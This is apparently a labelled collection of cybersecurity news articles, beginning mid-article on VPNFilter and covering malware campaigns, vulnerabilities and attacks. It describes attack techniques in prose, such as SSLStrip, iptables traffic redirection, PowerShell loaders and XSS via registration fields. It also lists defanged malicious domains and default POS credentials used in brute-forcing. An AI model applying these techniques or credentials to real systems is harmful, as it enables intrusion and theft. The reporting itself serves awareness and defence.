""First, we have determined that are being targeted by this actor, including some from vendors that are new to the target list. These new vendors are. New devices were also discovered from Linksys, MikroTik, Netgear, and TP-Lin,"" the researchers say.

To hijack devices manufactured by above listed affected vendors, the malware simply relies on publicly-known vulnerabilities or use default credentials, instead of exploiting zero-day vulnerabilities.

VPNFilter 'ssler' — Man-in-the-Middle Attack Module
Besides this, the researchers primarily shared technical details on a new stage 3 module, named ""ssler,"" which is an advanced network packet sniffer that, if installed, allows hackers to intercept network traffic passing through an infected router and deliver malicious payloads using man-in-the-middle attacks.
""Ssler module provides data exfiltration and JavaScript injection capabilities by intercepting all traffic passing through the device destined for port 80,"" the researchers say.
This 3rd-stage module also makes the malware capable of maintaining a persistent presence on an infected device, even after a reboot.

The ssler module has been designed to deliver custom malicious payloads for specific devices connected to the infected network using a parameter list, which defines the module's behavior and which websites should be targeted.

These parameters include settings to define the location of a folder on the device where stolen data should be stored, the source and destination IP address for creating iptable rules, as well as the targeted URL of the JavaScript injection.

To setup packet sniffing for all outgoing web requests on port 80, the module configures the device's iptables immediately after its installation to redirect all network traffic destined for port 80 to its local service listening on port 8888.
""To ensure that these rules do not get removed, ssler deletes them and then adds them back approximately every four minutes,"" the researchers explain.
To target HTTPS requests, the ssler module also performs SSLStrip attack, i.e., it downgrades HTTPS connections to HTTP, forcing victim web browsers into communicating over plaintext HTTP.

VPNFilter 'dstr' — Device Destruction Module

As briefed in our previous article, VPNFilter also has a destructive capability (dstr module) that can be used to render an infected device unusable by deleting files necessary for normal device operation.

The malware triggers a killswitch for routers, where it first deliberately kills itself, before deleting the rest of the files on the system [named vpnfilter, security, and tor], possibly in an attempt to hide its presence during the forensic analysis.

This capability can be triggered on individual victim machines or en masse, potentially cutting off internet access for hundreds of thousands of victims worldwide.

Simply Rebooting Your Router is Not Enough

Despite the FBI seizure of a key command and control server right after the discovery of VPNFilter, the botnet still remains active, due to its versatile, multi-stage design.

Stage 1 of the malware can survive a reboot, gaining a persistent foothold on the infected device and enabling the deployment of stages 2 and 3 malware. So, each time an infected device is restarted, stages 2 and 3 are re-installed on the device.

This means, even after the FBI seized the key C&C server of VPNFilter, hundreds of thousands of devices already infected with the malware, likely remain infected with stage 1, which later installs stages 2 and 3.

Therefore, rebooting alone is not enough to completely remove the VPNFilter malware from infected devices, and owners of consumer-grade routers, switches, and network-attached storage devices need to take additional measures, which vary from model to model. For this, router owners are advised to contact their manufacturer.

For some devices, resetting routers to factory default could remove the potentially destructive malware, along with removing stage 1, while some devices can be cleaned up with a simple reboot, followed by updating the device firmware.

And as I said earlier, mark these words again: if your router cannot be updated, throw it away and buy a new one. Your security and privacy is more than worth a router's price.

",Malware
GandCrab ransomware and Ursnif virus spreading via MS Word macros,https://thehackernews.com/2019/01/microsoft-gandcrab-ursnif.html,"Security researchers have discovered two separate malware campaigns, one of which is distributing the Ursnif data-stealing trojan and the GandCrab ransomware in the wild, whereas the second one is only infecting victims with Ursnif malware.

Though both malware campaigns appear to be a work of two separate cybercriminal groups, we find many similarities in them. Both attacks start from phishing emails containing an attached Microsoft Word document embedded with malicious macros and then uses Powershell to deliver fileless malware.

Ursnif is a data-stealing malware that typically steals sensitive information from compromised computers with an ability to harvest banking credentials, browsing activities, collect keystrokes, system and process information, and deploy additional backdoors.

Discovered earlier last year, GandCrab is a widespread ransomware threat that, like every other ransomware in the market, encrypts files on an infected system and insists victims to pay a ransom in digital currency to unlock them. Its developers ask payments primarily in DASH, which is more complex to track.

MS Docs + VBS macros = Ursnif and GandCrab Infection

The first malware campaign distributing two malware threats was discovered by security researchers at Carbon Black who located approximately 180 variants of MS Word documents in the wild that target users with malicious VBS macros.

If successfully executed, the malicious VBS macro runs a PowerShell script, which then uses a series of techniques to download and execute both Ursnif and GandCrab on the targeted systems.

The PowerShell script is encoded in base64 that executes the next stage of infection which is responsible for downloading the main malware payloads to compromise the system.

The first payload is a PowerShell one-liner that evaluates the architecture of the targeted system and then accordingly downloads an additional payload from the Pastebin website, which is executed in the memory, making it difficult for traditional anti-virus techniques to detect its activities.

""This PowerShell script is a version of the Empire Invoke-PSInject module, with very few modifications,"" Carbon Black researchers said. ""The script will take an embedded PE [Portable Executable] file that has been base64 encoded and inject that into the current PowerShell process.""

The final payload then installs a variant of the GandCrab ransomware on the victim's system, locking them out of their system until they pay a ransom in digit currency.

Meanwhile, the malware also downloads a Ursnif executable from a remote server and once executed, it will fingerprint the system, monitor web browser traffic to collect data, and then send it out to the attackers' command and control (C&C) server.

""However, numerous Ursnif variants were hosted on the bevendbrec[.]com site during this campaign. Carbon Black was able to discover approximately 120 different Ursnif variants that were being hosted from the domains iscondisth[.]com and bevendbrec[.]com,"" the researchers said.

MS Docs + VBS macros = Ursnif Data-Stealing Malware

Similarly, the second malware campaign that was spotted by security researchers at Cisco Talos leverages a Microsoft Word document containing a malicious VBA macro to deliver another variant of same Ursnif malware.
This malware attack also compromises targeted systems in multiple stages, starting from phishing emails to running malicious PowerShell commands to gain fileless persistence and then downloading and installing Ursnif data-stealing computer virus.

""There are three parts to the [PowerShell] command. The first part creates a function that is later used to decode base64 encoded PowerShell. The second part creates a byte array containing a malicious DLL,"" Talos researchers explained.

""The third part executes the base64 decode function created in the first part, with a base64 encoded string as the parameter to the function. The returned decoded PowerShell is subsequently executed by the shorthand Invoke-Expression (iex) function.""

Once executed on the victim computer, the malware collects information from the system, puts into a CAB file format, and then sends it to its command-and-control server over HTTPS secure connection.

Talos researchers have published a list of indicators of compromise (IOCs), along with the names of payload file names dropped on compromised machines, on their blog post that can help you detect and stop the Ursnif malware before it infects your network.

",Malware
Android Vulnerability Traps Devices in 'Endless Reboot Loop',https://thehackernews.com/2015/08/android-endless-reboot-bug.html,"Poor Android users are facing a terrible, horrible, and awful week.

Few days ago, Trend Micro security researchers uncovered a Android crashing vulnerability in the widely used mobile operating system, impacting the majority of Android devices in use.

The report follows another significant Stagefright vulnerability that was revealed by separate researchers, who warned that nearly 950 Million Android phones can be hijacked by sending a simple text message or via malicious Android app or specially crafted web pages.

EXPLOIT TO TRAP ANDROID DEVICES IN ENDLESS REBOOTS

Now, the security researchers have discovered a dangerous security bug in the Android operating system that they claim can ""brick"" your phone, making it unresponsive and completely useless.

The new vulnerability, CVE-2015-3823, can be exploited by potential hackers to cause your Android device to endless Reboot, and is similar to the Stagefright bug in that the flaw exists in the 'mediaserver' built-in program.

The vulnerability affects even more Android users. Nearly 90 percent of Android devices running versions 4.0.1 Jelly Bean to 5.1.1 Lollipop are vulnerable to the latest security flaw, affecting every 9 out of 10 Active Android devices.

HOW ANDROID EXPLOIT WORKS?

A Hacker can trigger endless reboots in two ways:
Through a Malicious Android App
Through a Specially-Crafted Web Site

In either case, the attacker lure victims to play malformed media file (.MKV file) using the buggy 'mediaserver' plugin. This will cause the mediaserver function to fall into an endless loop beyond the user's control, forcing the Android device to get slow down until it reboots… again and again.
""The vulnerability is caused by an integer overflow in parsing MKV files,"" mobile threat response engineer Wish Wu of Trend Micro wrote in a Monday blog post. This ""causes the device to fall into an endless loop when reading video frames.""

SMALL QUIRK TO GET RID OF THIS FLAW

The firm reported the issue to Google, but the company is not taking it seriously, classifying it as a low-level vulnerability.

Until the official patch is delivered by Google, you can do a simple quirk if this bug hit your devices. All you need to do is reboot your devices in Safe Mode by holding the power button down and pressing Power Off option until you see the pop-up box asking you to restart in Safe Mode.

Safe Mode will disable all third-party apps and information, allowing you to continue using your Android devices until a patch is released.

",Vulnerability
Thousands of Android Devices Running Insecure Remote ADB Service,https://thehackernews.com/2018/06/android-adb-hacking.html,"Despite warnings about the threat of leaving insecure remote services enabled on Android devices, manufacturers continue to ship devices with open ADB debug port setups that leave Android-based devices exposed to hackers.

Android Debug Bridge (ADB) is a command-line feature that generally uses for diagnostic and debugging purposes by helping app developers communicate with Android devices remotely to execute commands and, if necessary, completely control a device.

Usually, developers connect to ADB service installed on Android devices using a USB cable, but it is also possible to use ADB wirelessly by enabling a daemon server at TCP port 5555 on the device.

If left enabled, unauthorized remote attackers can scan the Internet to find a list of insecure Android devices running ADB debug interface over port 5555, remotely access them with highest ""root"" privileges, and then silently install malware without any authentication.

Therefore, vendors are recommended to make sure that the ADB interface for their Android devices is disabled before shipping. However, many vendors are failing to do so.

In a Medium blog post published Monday, security researcher Kevin Beaumont said there are still countless Android-based devices, including smartphones, DVRs, Android smart TVs, and even tankers, that are still exposed online.

""This is highly problematic as it allows anybody — without any password — to remotely access these devices as 'root'* — the administrator mode — and then silently install software and execute malicious functions,"" Beaumont said.

The threat is not theoretical, as researchers from Chinese security firm Qihoo 360's NetLab discovered a worm, dubbed ADB.Miner, earlier this year, that was exploiting the ADB interface to infect insecure Android devices with a Monero (XMR) mining malware.
Smartphones, smart TVs, and TV set-top boxes were believed to be targeted by the ADB.Miner worm, which managed to infect more than 5,000 devices in just 24 hours.

Now, Beaumont once again raised the community concerns over this issue. Another researcher also confirmed that the ADB.Miner worm spotted by Netlab in February is still alive with millions of scans detected in the past month itself.

""@GossiTheDog inspired me to take a look back at the ADB.Miner worm, which I've been fingerprinting in February. It seems that it lives and it feels pretty well. I've checked out two days (4th, 5th of June) - about 40 000 unique IP addresses. I'll provide some deep analysis soon,"" Piotr Bazydło, IT Security researcher at NASK, tweeted.

Although it is difficult to know the exact number of devices due to Network Address Translation and dynamic IP reservations, Beaumont says ""it is safe to say 'a lot.'""

In response to Beaumont's blog post, the Internet of Things (IoT) search engine Shodan also added the capability to look for port 5555. Based on the scanning IP addresses, the majority of exposed devices are found in Asia, including China and South Korea.

Kevin advises vendors to stop shipping products with Android Debug Bridge enabled over a network, as it creates a Root Bridge—a situation anybody can misuse the devices.

Since ADB debug connection is neither encrypted nor requires any password or key exchange, Android device owners are advised to disable it immediately.

",Vulnerability
Raising your kids to have cyber security awareness,https://thehackernews.com/2012/02/raising-your-kids-to-have-cyber.html,"In our Last Month Magazine Issue, Lee Ives from London, England and Admin of Security-FAQs - talk about internet security for your children and what to watch out for and how to protect them and yourself.

You can Download Here Special The Hacker News Magazine January 2012 Edition. Have a look the interesting Article shared by Lee :

The one thing that is great about the internet is that just like many of the other major mediums it has content for all different types of age groups. If you have older people that you need to entertain then you will be able to find something for them to be entertained by on the web.

If you have younger kids that you have to entertain then you will find something for them as well. But unlike the other major mediums such as TV, you have a more diverse stock from which to pick from.

With the internet you are getting content from all around the world and no matter which age group you need to entertain, you will be able to find something for them to watch until their heart is content.

Since the internet does have the ability to entertain children that means that there is a good chance that your child will want to use the computer all of the time. Just like in the 90's when a parent would use the VCR and the TV as a baby sitter, they are now starting to do the same thing with a computer that is connected to the web. Instead of having to try to find activities to do to occupy the child's time they just sit them in front of the computer and let that content entertain them.

But there is an inherent problem with this type of activity. Most parents these days have only been exposed to the internet for a small portion of their lives. This means that they have not grown up around the internet.

This means that there is a good chance that they are unaware of the dangers that are on the net for children. Sure, they might have a general idea of what is dangerous on the internet - items such as viruses and other types of malware get the bulk of media attention - but what about the other types of dangers that can happen on the internet? How do you help protect your kids from that?

Protecting your child from cyber danger
If you're going to allow your child to use the computer all of the time then you need to be aware of the dangers that are out there for them to face. You have to educate yourself in order to protect them.

First of all, we will talk about the dangers such as malware that can affect them later in the article. For right now we will focus on the more dangerous threats of meeting strangers on the internet. Some people think that the only way that their child is going to meet up with a stranger is to wander into some adult chat room and talk to the wrong people.

That is not true at all. There are more ways than that to meet up with strangers. There are adults who will take the time and stalk kid web sites and act like they are one of them. When they gain the kid's trust they will then try to set up a meeting.

We don't even have to express how bad that is.This is why you have to monitor what your kids are doing on the internet all of the time by using Parental Control Apps. Don't give the bad guys a chance to strike.

But getting back to malware, yes that is a problem for your kids as well. Having the wrong malware pop up can not only wreck your computer, but it can also cause your child to surf on web sites that are not meant to be for children's eyes.

So to keep this from happening you need to make sure that your child's computer has the latest antivirus and other security tools.

If your child is going to be on the computer for long periods of time then at least make sure they are safe.

",Malware
Latest Microsoft Updates Patch 4 Critical Flaws In Windows RDP Client,https://thehackernews.com/2019/09/microsoft-windows-update.html,"Get your update caps on.

Microsoft today released its monthly Patch Tuesday update for September 2019, patching a total of 79 security vulnerabilities in its software, of which 17 are rated critical, 61 as important, and one moderate in severity.

Two of the security vulnerabilities patched by the tech giant this month are listed as ""publicly known"" at the time of release, one of which is an elevation of privilege vulnerability (CVE-2019-1235) in Windows Text Service Framework (TSF), more likely related to a 20-year-old flaw Google security researcher disclosed last month.

Two other vulnerabilities patched this month are reported as being actively exploited in the wild by hackers, both are privilege elevation flaws—one resides in the Windows operating system and the other in Windows Common Log File System Driver.

Besides these, Microsoft has released patches for four critical RCE vulnerabilities in Windows built-in Remote Desktop Client application that could enable a malicious RDP server to compromise the client's computer, reversely, just like researchers demonstrated similar attackers against 3rd-party RDP clients earlier this year.


CVE-2019-0787
CVE-2019-0788
CVE-2019-1290
CVE-2019-1291


Unlike the wormable BlueKeep bug, the newly-patched RDP vulnerabilities are all client-side which require an attacker to trick victims into connecting to a malicious RDP server via social engineering, DNS poisoning or using a Man in the Middle (MITM) technique.

The latest Microsoft Windows update also addresses a remote code execution vulnerability (CVE-2019-1280) in the way Windows operating system processes .LNK shortcut files, allowing attackers to compromise targeted systems.

""The attacker could present to the user a removable drive, or remote share, that contains a malicious .LNK file and an associated malicious binary. When the user opens this drive(or remote share) in Windows Explorer or any other application that parses the .LNK file, the malicious binary will execute code of the attacker's choice, on the target system,"" Microsoft advisory says.

Malicious .LNK files have recently been found using by Astaroth fileless malware as part of its initial attack vector i.e., as an attachment with spear-phishing emails, according to cybersecurity researchers at Microsoft.

Microsoft also released updates to patch 12 more critical vulnerabilities, and as expected, all of them lead to remote code execution attacks and reside in various Microsoft products including Chakra Scripting Engine, VBScript, SharePoint server, Scripting Engine, and Azure DevOps and Team Foundation Server.

Some important-rated vulnerabilities also lead to remote code execution attacks, while others allow elevation of privilege, information disclosure, cross-site scripting (XSS), security feature bypass, and denial of service attacks.

Besides this, if you have an Android app for Yammer, Microsoft's enterprise social network, installed on your smartphone, you should separately update it from Google Play Store to patch a security bypass vulnerability.

Users and system administrators are highly recommended to apply the latest Windows security patches from Microsoft as soon as possible to keep cybercriminals and hackers away from taking control of their computers.

For installing the latest security updates, you can head on to Settings → Update & Security → Windows Update → Check for updates on your computer, or you can install the updates manually.

Adobe also rolled out security updates today to fix a total of 3 security vulnerabilities in Adobe Flash Player and Adobe Application Manager (AAM). Users of the affected Adobe software for Windows, macOS, Linux, and Chrome OS are advised to update their software packages to the latest versions.
",Vulnerability
Massive cyber attack on South Korean banks and TV broadcasters,https://thehackernews.com/2013/03/massive-cyber-attack-on-south-korean.html,"Computer networks at major South Korean banks and top TV broadcasters crashed simultaneously Wednesday, during a Massive cyber attack. South Korean police investigating reports from several major broadcasters and banks.
least three broadcasters KBS, MBC and YTN and the Shinhan and Nonghyu banks reported that their computer networks had been crached. The state-run Korea Information Security Agency said that Screens went blank at 2 p.m. and more than seven hours later some systems were still down.

The take down was apparently not from a distributed denial-of-service (DDOS) attack, but a virus that has apparently infected machines in these organizations and delivered its payload simultaneously.

An official at the Korea Communications Commission said investigators speculate that malicious code was spread from company servers that send automatic updates of security software and virus patches.

The Associated Press says:
""The latest network paralysis took place just days after North Korea accused South Korea and the U.S. of staging a cyber attack that shut down its websites for two days last week. Loxley Pacific, the Thailand-based Internet service provider, confirmed the North Korean outage but did not say what caused it.

""The South Korean shutdown did not affect government agencies or potential targets such as power plants or transportation systems, and there were no immediate reports that bank customers' records were compromised, but the disruption froze part of the country's commerce.""

The Korea Internet Security Agency, a state watchdog, said it had recorded 40,000 cases of cyber attacks from foreign and domestic sources in 2012, up sharply from 24,000 in 2008.

Some banking services, such as ATM and online banking, were adversely affected by the shutdowns, though the banks are reporting that those services have been restored.

South Korean President Park Geun Hye has put together a cyber security team to look into whether North Korea is the culprit behind today's attacks.

",Malware
Zoom Video Conferencing for macOS Also Vulnerable to Critical RCE Flaw,https://thehackernews.com/2019/07/zoom-video-conferencing-hacking.html,"The chaos and panic that the disclosure of privacy vulnerability in the highly popular and widely-used Zoom video conferencing software created earlier this week is not over yet.

As suspected, it turns out that the core issue—a locally installed web server by the software—was not just allowing any website to turn on your device webcam, but also could allow hackers to take complete control over your Apple's Mac computer remotely.

Reportedly, the cloud-based Zoom meeting platform for macOS has also been found vulnerable to another severe flaw (CVE-2019-13567) that could allow remote attackers to execute arbitrary code on a targeted system just by convincing users into visiting an innocent looking web-page.

As explained in our previous report by Swati Khandelwal, the Zoom conferencing app contained a critical vulnerability (CVE-2019-13450) that resides in the way its click-to-join feature is implemented, which automatically turns on users' webcam when they visit an invite link.

Both vulnerabilities stem from a controversial local web server—runs on port 19421—that Zoom client installs on users' computers to offer the click-to-join feature.
There were primarily two issues that security researcher Jonathan Leitschuh highlighted—firstly, local server ""insecurely"" receives commands over HTTP, allowing any website to interact with it, and secondly, it doesn't get uninstalled when users remove the Zoom client from their systems, leaving them vulnerable forever.

Immediately after receiving a high criticism from all sides, the company released an emergency update for its software to remove the vulnerable web server (ZoomOpener daemon) implementation altogether.

However, the software update could not protect former customers who are not using the software anymore but have the vulnerable web-server still activated on their systems unknowingly.

Worryingly, according to an advisory published by National Vulnerability Database (NVD), the newly discovered RCE flaw also works against users who have already uninstalled the conferencing software, but its web server is still activated and listens on port 19421.

Meanwhile, to help its users, Apple surprisingly yesterday stepped-in and silently pushed an update for all macOS users that automatically removes the Zoom web server without requiring any user interaction, doesn't matter if you're still using the conferencing software or not.

The technical details of the new remote code execution flaw in Zoom client for macOS are not yet available, but Jonathan and other researchers confirmed, and demonstrated the existence of a working proof-of-concept exploit, as shown in the video above.

We will share more details on this new RCE flaw with our readers through The Hacker News official Twitter account, as soon as they are available.

To protect against both vulnerabilities, Zoom users are highly recommended to install the latest system updates, as well as immediately upgrade to Zoom client version 4.4.53932.0709 or simply uninstall the software and only use the browser version of the meeting client.

",Vulnerability
Ukrainian Police Arrest Author of World's Largest Phishing Service U-Admin,https://thehackernews.com/2021/02/ukrainian-police-arrest-author-of.html,"Law enforcement officials in Ukraine, in coordination with authorities from the U.S. and Australia, last week shut down one of the world's largest phishing services that were used to attack financial institutions in 11 countries, causing tens of millions of dollars in losses.
The Ukrainian attorney general's office said it worked with the National Police and its Main Investigation Department to identify a 39-year-old man from the Ternopil region who developed a phishing package and a special administrative panel for the service, which were then aimed at several banks located in Australia, Spain, the U.S., Italy, Chile, the Netherlands, Mexico, France, Switzerland, Germany, and the U.K.
Computer equipment, mobile phones, and hard drives were seized as part of five authorized searches conducted during the course of the operation.
Security researcher Brian Krebs noted the raids were in connection with U-Admin, a phishing framework that makes use of fake web pages to pilfer victim credentials more efficiently.
It is estimated that over 50% of all phishing attacks in 2019 in Australia were carried out using the phishing toolkit.
The hacker is believed to have not only sold his products to customers around the world via an online store in the dark web but also alleged to have provided technical support during phishing attacks.
More than 200 active buyers of malicious software have been identified, Ukrainian officials said.
U-Admin allowed customers to exfiltrate data entered by victims on compromised websites by injecting malicious code into the browser. The crimeware platform's info-stealing capabilities also extended to capturing two-factor authentication codes.
The hacker, who has been arrested on charges of creating and distributing malicious software and breaking into computer networks, faces up to six years of imprisonment if found guilty.

",Cyber_Attack
New Zero-Day Vulnerability CVE-2014-1776 Affects all Versions of Internet Explorer Browser,https://thehackernews.com/2014/04/new-zero-day-vulnerability-cve-2014.html,"Microsoft confirmed a new Zero Day critical vulnerability in its browser Internet Explorer. Flaw affects all versions of Internet Explorer, starting with IE version 6 and including IE version 11.

In a Security Advisory (2963983) released yesterday, Microsoft acknowledges a zero-day Internet Explorer vulnerability (CVE-2014-1776) is being used in targeted attacks by APT groups, but the currently active attack campaigns are targeting IE9, IE10 and IE11.

INTERNET EXPLORER 0-DAY VULNERABILITY (CVE-2014-1776)
According to Advisory, Internet Explorer is vulnerable to Remote Code Execution, which resides 'in the way that Internet Explorer accesses an object in memory that has been deleted or has not been properly allocated.' Microsoft said.

Microsoft Investigation team is currently working with FireEye Security experts, and dubbed the ongoing targeted campaign as ""Operation Clandestine Fox"".

In a blogpost, FireEye explained that an attacker could trigger the zero-day IE exploit through a malicious webpage that the targeted user has to access with one of the affected Internet Explorer browser. Successful exploitation of this vulnerability allows an attacker to execute arbitrary code within the browser in order to gain the same user rights as the current user.

CULPRIT: ADOBE FLASH PLUGIN
But, Internet Explorer zero-day exploit depends upon the loading of a Flash SWF file that calls for a Javascript in vulnerable version Internet Explorer to trigger the flaw, and which also allows the exploit to bypass Windows' ASLR and DEP protections on the target system by exploiting the Adobe Flash plugin.

According to the advisory, there is currently no security patch available for this vulnerability. ""Collectively, in 2013, the vulnerable versions of IE accounted for 26.25% of the browser market."" FireEye said.

MITIGATION - HOW TO PROTECT YOUR COMPUTER FROM ZERO-DAY IE EXPLOIT?
Microsoft is working on a security patch for Internet Explorer vulnerability, could be available from the Next Patch Tuesday update (13th May, 2014). However, you can still migrate the zero-day threat by following below given methods:
Install Enhanced Mitigation Experience Toolkit (EMET 4.1), a free utility that helps prevent vulnerabilities in software from being successfully exploited.
You can protect against exploitation by changing your settings for the Internet security zone to block ActiveX controls and Active Scripting.
Tools > Internet Options > Security > Internet > Custom Level > Under Scripting Settings > Disable Active Scripting
Under Local intranet's Custom Level Settings > Disable Active Scripting
If you are using Internet Explorer 10 or the higher version, enable Enhanced Protected Mode to prevent your browser from Zero-Day Attack.
IE Exploit will not work without Adobe Flash. So Users are advised to disable the Adobe Flash plugin within IE.
De-Register VGX.dll (VML parser) file, which is responsible for rendering of VML (Vector Markup Language) code in web pages, in order to prevent exploitation. Run following command:
regsvr32 -u ""%CommonProgramFiles%\Microsoft Shared\VGX\vgx.dll""
Stay Safe!

",Vulnerability
Critical Flaws in Magento leave Millions of E-Commerce Sites at Risk,https://thehackernews.com/2016/01/magento-security.html,"If you are using Magento to run your e-commerce website, it's time for you to update the CMS (content management system) now.

Millions of online merchants are at risk of hijacking attacks due to a number of critical cross-site scripting (XSS) vulnerabilities in the Magento, the most popular e-commerce platform owned by eBay.

Why the Bugs are So Serious?

Virtually all versions of Magento Community Edition 1.9.2.2 and earlier as well as Enterprise Edition 1.14.2.2 and earlier, are vulnerable to the Stored Cross-Site Scripting (XSS) flaws.


The stored XSS flaws are awful as they allow attackers to:
Effectively take over a Magento-based online store
Escalate user privileges
Siphon customers' data
Steal credit card information
Control the website via administrator accounts
However, the good news is that the vulnerabilities are patched, and an update has been made available to the public after security firm Sucuri discovered and privately reported the vulnerability to the company.

How Easy it is to Exploit the Flaw

The XSS bugs are quite easy to exploit. All an attacker need to do is embed malicious JavaScript code inside customer registration forms in place of email address.

Magento then runs and executes this email containing JavaScript code in the context of the administrator account, making it possible for an attacker to steal administrator session and completely take over the server running Magento.

Cybersecurity firm Sucuri describes the bug as the worst hole, saying:

""The buggy snippet is located inside Magento core libraries, more specifically within the administrator's backend. Unless you are behind a WAF or you have a very heavily modified administration panel, you are at risk.""
""As this is a Stored XSS vulnerability, this issue could be used by attackers to take over your site, create new administrator accounts, steal client information, anything a legitimate administrator account is allowed to do.""
Patch your Software Now!

To prevent websites from exploitation, webmasters are recommended to apply the latest patch bundle SUPEE-7405 as soon as possible.

Since the latest patch resolves the issue for Magento version 1.14.1 and 1.9.1 and earlier, problems impacting Magento versions 1.14.2.3 and 1.9.2.3 have already been resolved.

With Alexa top one million e-commerce websites and over all ten Million websites using the internet's fourth most popular CMS, Magento has become a valuable target for attackers nowadays.

So, patch your websites now to stay safe!

",Vulnerability
Crazy! Hacker Implants NFC Chip In His Hand To Hack Android Phones,https://thehackernews.com/2015/04/nfc-chip-hack-android.html,"There is a very sleek line between hacking and security. The security used to protect the public could be misused by hackers against the public itself, and one shouldn't forget that with the advance in technology, the techniques used by cyber criminals also improves.

Today, What hackers need to conduct a successful cyber attack?

Maybe just a computing device injected under the skin of their bodies, who can bear the pain, would be enough to help complete a successful cyber attack – also known as Biohacking.

This was exactly what presented by the former U.S. Navy petty officer and now engineer at APA Wireless Seth Wahle.

With no malicious intention, Wahle implanted a small NFC chip in his left hand right between his thumb and his pointer finger in order to display the risks of Biohacking.

Hacking Android devices using NFC implants:

For those unaware, NFC (Near Field Communications) chips embedded in our smartphone devices are used for transferring files and in various mobile payment applications.

Wahle's chip has an NFC antenna that is capable to hack Android devices and bypass almost all security measures. The chip can ping a nearby Android smartphone, prompting its user to open a link.

Once the user of the smartphone agrees to open that link, the link installs a malicious piece of software on the phone that allows the phone to connect to a remote computer controlled by the hacker.

The hacker would now be able to carry out further exploits on the victim's device, potentially putting all the important information and sensitive data of victim at risk.

How is NFC implant done?

In order to implant the NFC device, Wahle bought a chip designed to be injected into cattle and implanted the chip by an ""unlicensed amateur"" for $40 by using a needle which was larger than he had initially expected, Wahle told Forbes during a Skype call.

The worst part about NFC implant:

The chip implant into Wahle hand was almost invisible after few days. The major thing to worry about this technique is that the NFC chip goes completely undetected in almost all kinds of security measures, including the security checkpoints in airports and other high-security locations.

Wahle said that with the chip implanted in himself, he went through daily scans prior to leaving the military and the chip was never detected. But, he also notes that the X-rays would be able to detect the chip.

However, these Implantable NFC chips potentially open up a smart way for hackers to hack Android devices and networks and gain access to victims' sensitive information.
""This implanted chip can bypass pretty much any security measures that are in place at this point and we will show proof of that,"" said Rod Soto, the event's secretary of the board and security consultant.
Limitations of the attacks:

There are some limitations to methods like this, as Wahle says that the remote connection made by a hacker to the server can only be kept if the affected Android device is not locked or rebooted.

However, these limitations could be overcome by various means. Like if, say, the affected phone is rebooted, a software run as a background service that starts on boot would fix the problem.

Wahle will be presenting his finding at the Hack Miami conference taking place this May, with Rod Soto. Both of them intended to alert about these latest strategies that can be used by hackers to hack terminals and networks.

They also admitted that this NFC implant-based attack could provide hackers and cyber criminals with a particularly useful ""tool in their social engineering toolset.""

",Cyber_Attack
More details about alleged 17-year-old Russian BlackPOS Malware Author released,https://thehackernews.com/2014/01/Russian-hacker-BlackPOS-Malware-Author.html,"Security experts at IntelCrawler provided a new interesting update on BlackPOS malware author, that he forgot to delete his Social networking profile even after the last exposure from the investigators.

As we have reported a few days before that the Intelligence firm IntelCrawler has identified a 17 year old teenager, known as ""Ree [4]"" in the underground market, as the author of the BlackPOS/Kaptoxa malware used in the attack against Target and Neiman Marcus retailers.

The teenager is not directly responsible for the Target attack, but he sold the BlackPOS to other Cyber Gangs, including the admin's of underground credit cards market places, "".rescator"", ""Track2.name"", ""Privateservices.biz"" and many others were his clients.

Who is Ree[4]?
IntelCrawler exposed REE[4]'s original profile as Sergey Taraspov, a 17 year old Russian programmer, based in St.Petersburg and Nizhniy Novgorod (Russian Federation).

Before both breaches IntelCrawler detected large-scale RDP brute-forcing attacks on Point-of-Sales terminals across the US, Australia and Canada started at the beginning of 2013 year in winter period with weak passwords such as:
""pos"":""pos"";
""micros"":""micros"" (MICROS Systems, Inc. - Point-of-Sale Hardware);
""edc"":""123456"" (EDC - Electronic Draft Capture).
After the last report from 'IntelCrawler' team, we have noticed the reaction from few security researchers, making doubts about the investigation and details about Ree[4]'s profile.

Today we have another exclusive update and more evidences from Security researchers at IntelCrawler on the author of BlackPOS. The author of BlackPOS is the bad actor with nickname ""ree4"" or ""ree[4]"", he started to sell this malware on one of underground forums called ""Exploit.in"", as the following screenshot suggests:
Despite the author of BlackPOS malware is a cyber expert, it seems that he has ignored the power of social networking platform, and the possibility to use them for OSINT (Open-source intelligence) purposes.

Popular Russian Social networking website called 'VKontakte' has a profile with the same nickname as BlackPOS's author. Obviously this is not a body of evidence.

To collect more evidences, the researchers at IntelCrawler noted that one of the interest mentioned on that profile is ""coding"", and they have also matched the email address of the profile through password recovery option by email:
According to operative information from IntelCrawler, the person behind the nickname ""ree[4]"" is Rinat Shibaev, working closely with Sergey Taraspov, who was acting as his technical support, having roots in St.Petersburg (Russian Federation), very well known coder of malicious code in the underground community.

Let's wait for new updates from Andrew Komarov, Dan Clements and the experts at IntelCrawler.

",Malware
Cross Application Scripting vulnerability in Android browser,https://thehackernews.com/2011/08/cross-application-scripting.html,"Cross Application Scripting vulnerability in Android browser

Recently IBM researchers detected a security vulnerability in Android's Browser which can be exploited by a non-privileged application in order to inject JavaScript code into the context of any domain.This vulnerability has the same implications as global XSS, albeit from an installed application rather than another website.

Android 2.3.5 and 3.2 have been released, which incorporate a fix for this bug. Patches are available for Android 2.2.* and will be released at a later date. The complete advisory can be found here. The browser holds sensitive information such as cookies, cache and history, and injected JavaScript could make it possible to extract that information, indirectly breaking the Android sandbox architecture. The attack exploits flaws in how the browser reacts to calls to view web pages from other applications.

IBM demonstrates the proof of concept for Android Cross Application scripting

",Vulnerability
"Ransom32 — First JavaScript-powered Ransomware affecting Windows, Mac and Linux",https://thehackernews.com/2016/01/javascript-ransomware-malware.html,"Here's New Year's first Ransomware: Ransom32.

A new Ransomware-as-a-service, dubbed Ransom32, has been spotted that for the first time uses a ransomware written in JavaScript to infect Mac, Windows as well as Linux machines.

Ransom32 allows its operators to deploy the malware very quickly and easily. It has a dashboard that enables operators to designate their Bitcoin addresses to which the ransom can be sent. The dashboard also shows stats about how much Bitcoins they have made.

In short, this new ransomware-as-a-service is so simple, and efficient at the same time, that anyone can download and distribute his/her own copy of the ransomware executable as long as he/she have a Bitcoin address.

The copy of Ransom32 was first analysed by Emsisoft, which found that the new ransomware family, which embedded in a self-extracting WinRAR archive, is using the NW.js platform for infiltrating the victims' computers, and then holding their files by encrypting them with 128-bit AES encryption.

Also Read: Free Ransomware Decryption and Malware Removal ToolKit

But, Why the NW.js Framework?
NW.js, formerly known as Node-WebKit, is a JavaScript framework for app development based on Node.js and Chromium. It works around normally-strict sandboxing of JavaScript, so a Web app can be repurposed for desktops without the sandbox getting in its way.
